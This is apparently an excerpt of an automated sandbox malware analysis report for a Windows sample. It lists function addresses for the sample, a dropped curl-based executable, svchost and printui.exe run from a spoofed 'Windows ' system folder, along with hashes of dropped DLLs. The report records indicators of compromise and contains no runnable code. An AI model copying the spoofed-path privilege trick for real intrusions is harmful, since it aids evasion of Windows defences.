Windows Analysis Report
dYUteuvmHn.exe

Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: 0_2_00007FF71278ABEC	0_2_00007FF71278ABEC
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: 0_2_00007FF71277B328	0_2_00007FF71277B328
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: 0_2_00007FF71276DBF0	0_2_00007FF71276DBF0
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: 0_2_00007FF712788BFC	0_2_00007FF712788BFC
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: 0_2_00007FF712769B20	0_2_00007FF712769B20
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: 0_2_00007FF71276A9B0	0_2_00007FF71276A9B0
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: 0_2_00007FF71276D1B0	0_2_00007FF71276D1B0
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: 0_2_00007FF71276A2C0	0_2_00007FF71276A2C0
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: 0_2_00007FF71277EADC	0_2_00007FF71277EADC
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: 0_2_00007FF712762A50	0_2_00007FF712762A50
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: 0_2_00007FF712762FD0	0_2_00007FF712762FD0
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: 0_2_00007FF7127847D0	0_2_00007FF7127847D0
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: 0_2_00007FF71277D7D8	0_2_00007FF71277D7D8
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: 0_2_00007FF712771790	0_2_00007FF712771790
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: 0_2_00007FF7127620E0	0_2_00007FF7127620E0
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: 0_2_00007FF71277B90C	0_2_00007FF71277B90C
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: 0_2_00007FF7127876B0	0_2_00007FF7127876B0
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: 0_2_00007FF712785E64	0_2_00007FF712785E64
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: 0_2_00007FF71278A694	0_2_00007FF71278A694
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABD89B0	5_2_00007FF6CABD89B0
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CAC0393C	5_2_00007FF6CAC0393C
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABD9950	5_2_00007FF6CABD9950
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABB5040	5_2_00007FF6CABB5040
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABD9220	5_2_00007FF6CABD9220
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABB42E0	5_2_00007FF6CABB42E0
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABF8BC8	5_2_00007FF6CABF8BC8
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABD7BA0	5_2_00007FF6CABD7BA0
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CAC01BB4	5_2_00007FF6CAC01BB4
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABEFD18	5_2_00007FF6CABEFD18
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABC7C70	5_2_00007FF6CABC7C70
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABEAA28	5_2_00007FF6CABEAA28
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABC59F0	5_2_00007FF6CABC59F0
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABB2980	5_2_00007FF6CABB2980
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABF19B4	5_2_00007FF6CABF19B4
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABFEAF4	5_2_00007FF6CABFEAF4
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABEEFD8	5_2_00007FF6CABEEFD8
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABC7FB0	5_2_00007FF6CABC7FB0
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABF3FA8	5_2_00007FF6CABF3FA8
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABEAF60	5_2_00007FF6CABEAF60
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABF2128	5_2_00007FF6CABF2128
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABB20F0	5_2_00007FF6CABB20F0
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CAC00040	5_2_00007FF6CAC00040
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABEEDD4	5_2_00007FF6CABEEDD4
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABECD80	5_2_00007FF6CABECD80
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABCDDB0	5_2_00007FF6CABCDDB0
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABB2F00	5_2_00007FF6CABB2F00
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CAC033E4	5_2_00007FF6CAC033E4
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABD24D0	5_2_00007FF6CABD24D0
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABC2200	5_2_00007FF6CABC2200
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABEF1DC	5_2_00007FF6CABEF1DC
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABDD160	5_2_00007FF6CABDD160
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABC82F0	5_2_00007FF6CABC82F0
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABC7290	5_2_00007FF6CABC7290
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABF52AC	5_2_00007FF6CABF52AC
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABFD2A8	5_2_00007FF6CABFD2A8
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABF9240	5_2_00007FF6CABF9240
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABD8240	5_2_00007FF6CABD8240
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABFB24C	5_2_00007FF6CABFB24C
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABD6770	5_2_00007FF6CABD6770
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABC7930	5_2_00007FF6CABC7930
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABE1630	5_2_00007FF6CABE1630
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABC75E0	5_2_00007FF6CABC75E0
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABF8730	5_2_00007FF6CABF8730
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABFC680	5_2_00007FF6CABFC680
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABD8680	5_2_00007FF6CABD8680
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABCA670	5_2_00007FF6CABCA670
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A933AA52	5_2_00007FF8A933AA52
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A93249E0	5_2_00007FF8A93249E0
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A9356B50	5_2_00007FF8A9356B50
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A934FE30	5_2_00007FF8A934FE30
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A933B4E0	5_2_00007FF8A933B4E0
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A93604A6	5_2_00007FF8A93604A6
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A933A4A4	5_2_00007FF8A933A4A4
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A932BA40	5_2_00007FF8A932BA40
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A9311C30	5_2_00007FF8A9311C30
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A9352B60	5_2_00007FF8A9352B60
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A9312B80	5_2_00007FF8A9312B80
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A933BE30	5_2_00007FF8A933BE30
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A935CEC0	5_2_00007FF8A935CEC0
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A9313D50	5_2_00007FF8A9313D50
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A934CDD0	5_2_00007FF8A934CDD0
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A9353D80	5_2_00007FF8A9353D80
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A930F0C0	5_2_00007FF8A930F0C0
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A93500D0	5_2_00007FF8A93500D0
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A931EFC0	5_2_00007FF8A931EFC0
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A9313FE0	5_2_00007FF8A9313FE0
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A93574F0	5_2_00007FF8A93574F0
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A934A3A0	5_2_00007FF8A934A3A0
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A9358670	5_2_00007FF8A9358670
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A93316F0	5_2_00007FF8A93316F0
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A933F500	5_2_00007FF8A933F500
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A933C7B0	5_2_00007FF8A933C7B0
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8BA247944	5_2_00007FF8BA247944
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8BA242A20	5_2_00007FF8BA242A20
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8BA24D080	5_2_00007FF8BA24D080
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8BA24817D	5_2_00007FF8BA24817D
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8BA2477AB	5_2_00007FF8BA2477AB
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8BA241520	5_2_00007FF8BA241520
Source: C:\Windows \System32\printui.exe	Code function: 35_2_00007FF7ECF410E0	35_2_00007FF7ECF410E0
Source: C:\Windows \System32\printui.exe	Code function: 39_2_00007FF7ECF410E0	39_2_00007FF7ECF410E0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 45_2_00007FF8475F2078	45_2_00007FF8475F2078
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_6600A230	55_2_6600A230
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_66010760	55_2_66010760
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_66009810	55_2_66009810
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_6600BC90	55_2_6600BC90
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_660050A0	55_2_660050A0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_66019CB0	55_2_66019CB0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_6600ACD0	55_2_6600ACD0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_66004CE0	55_2_66004CE0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_6600DD20	55_2_6600DD20
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_6600CD60	55_2_6600CD60
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_6600E580	55_2_6600E580
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_6600D5A0	55_2_6600D5A0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_660121B0	55_2_660121B0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_6828A0B0	55_2_6828A0B0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_6828C220	55_2_6828C220
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_68281C10	55_2_68281C10
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_68283500	55_2_68283500
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_682926C1	55_2_682926C1
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7CC28C0	55_2_00007FF8A7CC28C0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D4B0CC	55_2_00007FF8A7D4B0CC
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7CF5850	55_2_00007FF8A7CF5850
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D5603C	55_2_00007FF8A7D5603C
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D11820	55_2_00007FF8A7D11820
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D42030	55_2_00007FF8A7D42030
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7CF9030	55_2_00007FF8A7CF9030
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D09FD0	55_2_00007FF8A7D09FD0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D5B7A0	55_2_00007FF8A7D5B7A0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D08F90	55_2_00007FF8A7D08F90
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D43F90	55_2_00007FF8A7D43F90
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D59720	55_2_00007FF8A7D59720
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7CC36D0	55_2_00007FF8A7CC36D0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7CD26C9	55_2_00007FF8A7CD26C9
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7CD16F0	55_2_00007FF8A7CD16F0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D30660	55_2_00007FF8A7D30660
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7CE662F	55_2_00007FF8A7CE662F
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D09D60	55_2_00007FF8A7D09D60
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7CEDD70	55_2_00007FF8A7CEDD70
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D2F4C0	55_2_00007FF8A7D2F4C0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D4B4D4	55_2_00007FF8A7D4B4D4
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D684B4	55_2_00007FF8A7D684B4
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7CDE4A0	55_2_00007FF8A7CDE4A0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7CF0C50	55_2_00007FF8A7CF0C50
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7CD3460	55_2_00007FF8A7CD3460
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D3A450	55_2_00007FF8A7D3A450
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7CD5C00	55_2_00007FF8A7CD5C00
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7CDB400	55_2_00007FF8A7CDB400
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D543FC	55_2_00007FF8A7D543FC
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D5B3F0	55_2_00007FF8A7D5B3F0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D59BB8	55_2_00007FF8A7D59BB8
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D08BD0	55_2_00007FF8A7D08BD0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D4C378	55_2_00007FF8A7D4C378
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7CCDB40	55_2_00007FF8A7CCDB40
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D58368	55_2_00007FF8A7D58368
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D0A300	55_2_00007FF8A7D0A300
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7CC9AE0	55_2_00007FF8A7CC9AE0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D092D0	55_2_00007FF8A7D092D0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D4B2D0	55_2_00007FF8A7D4B2D0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7CCA290	55_2_00007FF8A7CCA290
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7CE72A0	55_2_00007FF8A7CE72A0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D5A230	55_2_00007FF8A7D5A230
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7CCAA30	55_2_00007FF8A7CCAA30
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7CD3A30	55_2_00007FF8A7CD3A30
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D68A0C	55_2_00007FF8A7D68A0C
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7CDA9C0	55_2_00007FF8A7CDA9C0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D339C0	55_2_00007FF8A7D339C0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7CE1180	55_2_00007FF8A7CE1180
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D2F9B0	55_2_00007FF8A7D2F9B0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7CC3150	55_2_00007FF8A7CC3150
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7CF9960	55_2_00007FF8A7CF9960
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D09930	55_2_00007FF8A7D09930
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B8340EB0	55_2_00007FF8B8340EB0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B834B950	55_2_00007FF8B834B950
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B838DAD0	55_2_00007FF8B838DAD0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B833FBB0	55_2_00007FF8B833FBB0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B83B9C40	55_2_00007FF8B83B9C40
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B8333C40	55_2_00007FF8B8333C40
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B8395C20	55_2_00007FF8B8395C20
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B83A9CC1	55_2_00007FF8B83A9CC1
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B83B1D30	55_2_00007FF8B83B1D30
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B83A5E80	55_2_00007FF8B83A5E80
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B835DEA0	55_2_00007FF8B835DEA0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B8397FE0	55_2_00007FF8B8397FE0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B8362020	55_2_00007FF8B8362020
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B833C030	55_2_00007FF8B833C030
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B838E0F0	55_2_00007FF8B838E0F0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B838D260	55_2_00007FF8B838D260
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B83532C0	55_2_00007FF8B83532C0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B83B92A0	55_2_00007FF8B83B92A0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B8391310	55_2_00007FF8B8391310
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B8335380	55_2_00007FF8B8335380
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B8337400	55_2_00007FF8B8337400
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B837F420	55_2_00007FF8B837F420
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B83934C0	55_2_00007FF8B83934C0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B83956E0	55_2_00007FF8B83956E0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B83A985F	55_2_00007FF8B83A985F
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B834B830	55_2_00007FF8B834B830
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B83A38C0	55_2_00007FF8B83A38C0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B83B69E0	55_2_00007FF8B83B69E0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B835CA90	55_2_00007FF8B835CA90
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B8388B60	55_2_00007FF8B8388B60
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B839CB30	55_2_00007FF8B839CB30
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B83A4CC0	55_2_00007FF8B83A4CC0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B8394CD0	55_2_00007FF8B8394CD0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B837EDC0	55_2_00007FF8B837EDC0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B8392FA0	55_2_00007FF8B8392FA0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B838F0F0	55_2_00007FF8B838F0F0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B83A70A0	55_2_00007FF8B83A70A0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B836C240	55_2_00007FF8B836C240
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B8332210	55_2_00007FF8B8332210
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B837C210	55_2_00007FF8B837C210
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B839A2E0	55_2_00007FF8B839A2E0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B83522E0	55_2_00007FF8B83522E0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B83BC280	55_2_00007FF8B83BC280
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B8378350	55_2_00007FF8B8378350
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B839E4E0	55_2_00007FF8B839E4E0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B83A0550	55_2_00007FF8B83A0550
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B8390590	55_2_00007FF8B8390590
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B834C610	55_2_00007FF8B834C610
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B839A6B0	55_2_00007FF8B839A6B0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B837C700	55_2_00007FF8B837C700
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B90C8D70	55_2_00007FF8B90C8D70
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B90B6AE0	55_2_00007FF8B90B6AE0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B90C3440	55_2_00007FF8B90C3440
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B90CE820	55_2_00007FF8B90CE820
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B90D08B0	55_2_00007FF8B90D08B0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B90CE8E0	55_2_00007FF8B90CE8E0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B90CDF00	55_2_00007FF8B90CDF00
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B91349E0	55_2_00007FF8B91349E0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B9166B50	55_2_00007FF8B9166B50
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B91704A6	55_2_00007FF8B91704A6
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B913BA40	55_2_00007FF8B913BA40
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B914AA52	55_2_00007FF8B914AA52

Source: Joe Sandbox View	Dropped File: C:\Users\user\Desktop\libcurl.dll 36D97F1C254832CEE9698CEA2F1A63EA98D231641FD29715EF581BE103ACE602
Source: Joe Sandbox View	Dropped File: C:\Users\user\Desktop\zlib1.dll 7E9F43688189578042D791E3E5301165316EDC7C1ED739E0669C033A3CA08037

Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: String function: 00007FF712763740 appears 81 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FF8B90D1AB0 appears 77 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FF8A7CC3E40 appears 41 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FF8B9124B60 appears 65 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FF8B83BE0FE appears 63 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FF8B90C2CD0 appears 48 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FF8B9124A70 appears 95 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FF8B83BE896 appears 148 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FF8B8378FD0 appears 105 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FF8B83BE278 appears 32 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FF8B83BE27E appears 39 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FF8B90C2D70 appears 260 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FF8B90C2C50 appears 63 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FF8B83BE104 appears 461 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FF8B83BEDF0 appears 844 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FF8B83BE10A appears 59 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FF8B83BE926 appears 36 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FF8B90D76EA appears 38 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FF8B83683C0 appears 71 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FF8B83BE1CA appears 1339 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FF8B83BE8A2 appears 128 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FF8B8368330 appears 65 times
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: String function: 00007FF8A934E230 appears 37 times
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: String function: 00007FF8A9353D10 appears 31 times
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: String function: 00007FF8A9314B60 appears 330 times
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: String function: 00007FF8A9314A70 appears 478 times
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: String function: 00007FF6CABB3670 appears 94 times
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: String function: 00007FF8A934E2A0 appears 83 times
